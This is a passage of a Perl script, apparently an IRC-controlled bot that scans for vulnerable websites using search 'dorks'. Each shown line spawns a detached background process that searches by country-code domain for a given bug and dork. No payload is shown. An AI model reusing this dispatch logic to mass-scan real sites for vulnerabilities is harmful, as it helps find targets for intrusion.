  1056.     if ($engine =~ /bg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BG",$type,$nick); } exit; } }
  1057.     if ($engine =~ /bi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BI",$type,$nick); } exit; } }
  1058.     if ($engine =~ /co/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CO",$type,$nick); } exit; } }
  1059.     if ($engine =~ /cd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CD",$type,$nick); } exit; } }
  1060.     if ($engine =~ /cg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CG",$type,$nick); } exit; } }
  1061.     if ($engine =~ /ck/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CK",$type,$nick); } exit; } }
  1062.     if ($engine =~ /cr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CR",$type,$nick); } exit; } }
  1063.     if ($engine =~ /hr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HR",$type,$nick); } exit; } }
  1064.     if ($engine =~ /cu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CU",$type,$nick); } exit; } }
  1065.     if ($engine =~ /ci/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CI",$type,$nick); } exit; } }
  1066.     if ($engine =~ /dj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DJ",$type,$nick); } exit; } }
  1067.     if ($engine =~ /dm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DM",$type,$nick); } exit; } }
  1068.     if ($engine =~ /do/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DO",$type,$nick); } exit; } }
  1069.     if ($engine =~ /ec/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EC",$type,$nick); } exit; } }
  1070.     if ($engine =~ /eg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EG",$type,$nick); } exit; } }
  1071.     if ($engine =~ /sv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SV",$type,$nick); } exit; } }
  1072.     if ($engine =~ /ee/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EE",$type,$nick); } exit; } }
  1073.     if ($engine =~ /et/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ET",$type,$nick); } exit; } }
  1074.     if ($engine =~ /fj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FJ",$type,$nick); } exit; } }
  1075.     if ($engine =~ /fi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FI",$type,$nick); } exit; } }
  1076.     if ($engine =~ /gm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GM",$type,$nick); } exit; } }
  1077.     if ($engine =~ /gi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GI",$type,$nick); } exit; } }
  1078.     if ($engine =~ /gr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GR",$type,$nick); } exit; } }
  1079.     if ($engine =~ /gl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GL",$type,$nick); } exit; } }
  1080.     if ($engine =~ /gt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GT",$type,$nick); } exit; } }
  1081.     if ($engine =~ /gg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GG",$type,$nick); } exit; } }
  1082.     if ($engine =~ /ht/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HT",$type,$nick); } exit; } }
  1083.     if ($engine =~ /hn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HN",$type,$nick); } exit; } }
  1084.     if ($engine =~ /hk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HK",$type,$nick); } exit; } }
  1085.     if ($engine =~ /is/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IS",$type,$nick); } exit; } }
  1086.     if ($engine =~ /ie/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IE",$type,$nick); } exit; } }
  1087.     if ($engine =~ /im/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IM",$type,$nick); } exit; } }
  1088.     if ($engine =~ /je/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JE",$type,$nick); } exit; } }
  1089.     if ($engine =~ /jo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JO",$type,$nick); } exit; } }
  1090.     if ($engine =~ /kz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KZ",$type,$nick); } exit; } }
  1091.     if ($engine =~ /ke/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KE",$type,$nick); } exit; } }
  1092.     if ($engine =~ /kg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KG",$type,$nick); } exit; } }
  1093.     if ($engine =~ /lv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LV",$type,$nick); } exit; } }
  1094.     if ($engine =~ /ls/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LS",$type,$nick); } exit; } }
  1095.     if ($engine =~ /ly/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LY",$type,$nick); } exit; } }
  1096.     if ($engine =~ /li/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LI",$type,$nick); } exit; } }
  1097.     if ($engine =~ /lt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LT",$type,$nick); } exit; } }
  1098.     if ($engine =~ /lu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LU",$type,$nick); } exit; } }
  1099.     if ($engine =~ /mw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MW",$type,$nick); } exit; } }
  1100.     if ($engine =~ /mt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MT",$type,$nick); } exit; } }
  1101.     if ($engine =~ /mu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MU",$type,$nick); } exit; } }
  1102.     if ($engine =~ /fm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FM",$type,$nick); } exit; } }
  1103.     if ($engine =~ /mn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MN",$type,$nick); } exit; } }
  1104.     if ($engine =~ /ms/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MS",$type,$nick); } exit; } }
  1105.     if ($engine =~ /ma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MA",$type,$nick); } exit; } }
  1106.     if ($engine =~ /na/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NA",$type,$nick); } exit; } }
  1107.     if ($engine =~ /np/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NP",$type,$nick); } exit; } }
  1108.     if ($engine =~ /nz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NZ",$type,$nick); } exit; } }
  1109.     if ($engine =~ /ni/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NI",$type,$nick); } exit; } }
  1110.     if ($engine =~ /nf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NF",$type,$nick); } exit; } }
  1111.     if ($engine =~ /no/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NO",$type,$nick); } exit; } }
  1112.     if ($engine =~ /om/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OM",$type,$nick); } exit; } }
  1113.     if ($engine =~ /pk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PK",$type,$nick); } exit; } }
  1114.     if ($engine =~ /pa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PA",$type,$nick); } exit; } }
  1115.     if ($engine =~ /py/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PY",$type,$nick); } exit; } }
  1116.     if ($engine =~ /pe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PE",$type,$nick); } exit; } }
  1117.     if ($engine =~ /pn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PN",$type,$nick); } exit; } }
  1118.     if ($engine =~ /pt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PT",$type,$nick); } exit; } }
  1119.     if ($engine =~ /pr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PR",$type,$nick); } exit; } }
  1120.     if ($engine =~ /qa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"QA",$type,$nick); } exit; } }
  1121.     if ($engine =~ /rw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RW",$type,$nick); } exit; } }
  1122.     if ($engine =~ /sh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SH",$type,$nick); } exit; } }
  1123.     if ($engine =~ /sm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SM",$type,$nick); } exit; } }
  1124.     if ($engine =~ /sa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SA",$type,$nick); } exit; } }
  1125.     if ($engine =~ /sn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SN",$type,$nick); } exit; } }
  1126.     if ($engine =~ /sc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SC",$type,$nick); } exit; } }
  1127.     if ($engine =~ /sg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SG",$type,$nick); } exit; } }
  1128.     if ($engine =~ /sk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SK",$type,$nick); } exit; } }
  1129.     if ($engine =~ /za/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ZA",$type,$nick); } exit; } }
  1130.     if ($engine =~ /lk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LK",$type,$nick); } exit; } }
  1131.     if ($engine =~ /vc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VC",$type,$nick); } exit; } }
  1132.     if ($engine =~ /se/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SE",$type,$nick); } exit; } }
  1133.     if ($engine =~ /ch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CH",$type,$nick); } exit; } }
  1134.     if ($engine =~ /tw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TW",$type,$nick); } exit; } }
  1135.     if ($engine =~ /tj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TJ",$type,$nick); } exit; } }
  1136.     if ($engine =~ /bs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BS",$type,$nick); } exit; } }
  1137.     if ($engine =~ /to/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TO",$type,$nick); } exit; } }
  1138.     if ($engine =~ /tt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TT",$type,$nick); } exit; } }
  1139.     if ($engine =~ /tr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TR",$type,$nick); } exit; } }
  1140.     if ($engine =~ /tm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TM",$type,$nick); } exit; } }
  1141.     if ($engine =~ /vi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VI",$type,$nick); } exit; } }
  1142.     if ($engine =~ /ug/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UG",$type,$nick); } exit; } }
  1143.     if ($engine =~ /uy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UY",$type,$nick); } exit; } }
  1144.     if ($engine =~ /uz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UZ",$type,$nick); } exit; } }
  1145.     if ($engine =~ /ve/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VE",$type,$nick); } exit; } }
  1146.     if ($engine =~ /vn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VN",$type,$nick); } exit; } }
  1147.     if ($engine =~ /zm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ZM",$type,$nick); } exit; } }
  1148. #   if ($engine =~ /museum/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MUSEUM",$type,$nick); } exit; } }  
  1149.     if ($engine =~ /ws/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WS",$type,$nick); } exit; } }
  1150.     if ($engine =~ /af/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AF",$type,$nick); } exit; } }
  1151.     if ($engine =~ /ax/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AX",$type,$nick); } exit; } }
  1152.     if ($engine =~ /al/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AL",$type,$nick); } exit; } }
  1153.     if ($engine =~ /dz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DZ",$type,$nick); } exit; } }
  1154.     if ($engine =~ /ao/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AO",$type,$nick); } exit; } }
  1155.     if ($engine =~ /aq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AQ",$type,$nick); } exit; } }
  1156.     if ($engine =~ /am/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AM",$type,$nick); } exit; } }
  1157.     if ($engine =~ /aw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AW",$type,$nick); } exit; } }
  1158.     if ($engine =~ /ac/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AC",$type,$nick); } exit; } }
  1159.     if ($engine =~ /bj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BJ",$type,$nick); } exit; } }
  1160.     if ($engine =~ /bm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BM",$type,$nick); } exit; } }
  1161.     if ($engine =~ /bt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BT",$type,$nick); } exit; } }
  1162.     if ($engine =~ /io/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IO",$type,$nick); } exit; } }
  1163.     if ($engine =~ /bn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BN",$type,$nick); } exit; } }
  1164.     if ($engine =~ /bf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BF",$type,$nick); } exit; } }
  1165.     if ($engine =~ /kh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KH",$type,$nick); } exit; } }
  1166.     if ($engine =~ /cm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CM",$type,$nick); } exit; } }
  1167.     if ($engine =~ /cv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CV",$type,$nick); } exit; } }
  1168.     if ($engine =~ /ky/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KY",$type,$nick); } exit; } }
  1169.     if ($engine =~ /cf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CF",$type,$nick); } exit; } }
  1170.     if ($engine =~ /cx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CX",$type,$nick); } exit; } }
  1171.     if ($engine =~ /cw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CW",$type,$nick); } exit; } }
  1172.     if ($engine =~ /cy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CY",$type,$nick); } exit; } }
  1173.     if ($engine =~ /fk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FK",$type,$nick); } exit; } }
  1174.     if ($engine =~ /fo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FO",$type,$nick); } exit; } }
  1175.     if ($engine =~ /gh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GH",$type,$nick); } exit; } }
  1176.     if ($engine =~ /gd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GD",$type,$nick); } exit; } }
  1177.     if ($engine =~ /gp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GP",$type,$nick); } exit; } }
  1178.     if ($engine =~ /gu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GU",$type,$nick); } exit; } }
  1179.     if ($engine =~ /gn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GN",$type,$nick); } exit; } }
  1180.     if ($engine =~ /gy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GY",$type,$nick); } exit; } }
  1181.     if ($engine =~ /hm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HM",$type,$nick); } exit; } }
  1182.     if ($engine =~ /iq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IQ",$type,$nick); } exit; } }
  1183.     if ($engine =~ /jm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JM",$type,$nick); } exit; } }
  1184.     if ($engine =~ /ki/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KI",$type,$nick); } exit; } }
  1185.     if ($engine =~ /kw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KW",$type,$nick); } exit; } }
  1186.     if ($engine =~ /la/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LA",$type,$nick); } exit; } }
  1187.     if ($engine =~ /lb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LB",$type,$nick); } exit; } }
  1188.     if ($engine =~ /lr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LR",$type,$nick); } exit; } }
  1189.     if ($engine =~ /mo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MO",$type,$nick); } exit; } }
  1190.     if ($engine =~ /mg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MG",$type,$nick); } exit; } }
  1191.     if ($engine =~ /mv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MV",$type,$nick); } exit; } }
  1192.     if ($engine =~ /mp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MP",$type,$nick); } exit; } }
  1193.     if ($engine =~ /mq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MQ",$type,$nick); } exit; } }
  1194.     if ($engine =~ /mr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MR",$type,$nick); } exit; } }
  1195.     if ($engine =~ /yt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YT",$type,$nick); } exit; } }
  1196.     if ($engine =~ /md/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MD",$type,$nick); } exit; } }
  1197.     if ($engine =~ /mc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MC",$type,$nick); } exit; } }
  1198.     if ($engine =~ /me/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ME",$type,$nick); } exit; } }
  1199.     if ($engine =~ /mz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MZ",$type,$nick); } exit; } }
  1200.     if ($engine =~ /nr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NR",$type,$nick); } exit; } }
  1201.     if ($engine =~ /nc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NC",$type,$nick); } exit; } }
  1202.     if ($engine =~ /ng/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NG",$type,$nick); } exit; } }
  1203.     if ($engine =~ /nu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NU",$type,$nick); } exit; } }
  1204.     if ($engine =~ /pw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PW",$type,$nick); } exit; } }
  1205.     if ($engine =~ /ps/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PS",$type,$nick); } exit; } }
  1206.     if ($engine =~ /cq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CQ",$type,$nick); } exit; } }
  1207.     if ($engine =~ /re/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RE",$type,$nick); } exit; } }
  1208.     if ($engine =~ /lc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LC",$type,$nick); } exit; } }
  1209.     if ($engine =~ /pm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PM",$type,$nick); } exit; } }
  1210.     if ($engine =~ /st/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ST",$type,$nick); } exit; } }
  1211.     if ($engine =~ /rs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RS",$type,$nick); } exit; } }
  1212.     if ($engine =~ /gs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GS",$type,$nick); } exit; } }
  1213.     if ($engine =~ /sl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SL",$type,$nick); } exit; } }
  1214.     if ($engine =~ /sx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SX",$type,$nick); } exit; } }
  1215.     if ($engine =~ /sb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SB",$type,$nick); } exit; } }
  1216.     if ($engine =~ /so/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SO",$type,$nick); } exit; } }
  1217.     if ($engine =~ /su/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SU",$type,$nick); } exit; } }
  1218.     if ($engine =~ /kn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KN",$type,$nick); } exit; } }
  1219.     if ($engine =~ /sr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SR",$type,$nick); } exit; } }
  1220.     if ($engine =~ /tz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TZ",$type,$nick); } exit; } }
  1221.     if ($engine =~ /tl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TL",$type,$nick); } exit; } }
  1222.     if ($engine =~ /tg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TG",$type,$nick); } exit; } }
  1223.     if ($engine =~ /tk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TK",$type,$nick); } exit; } }
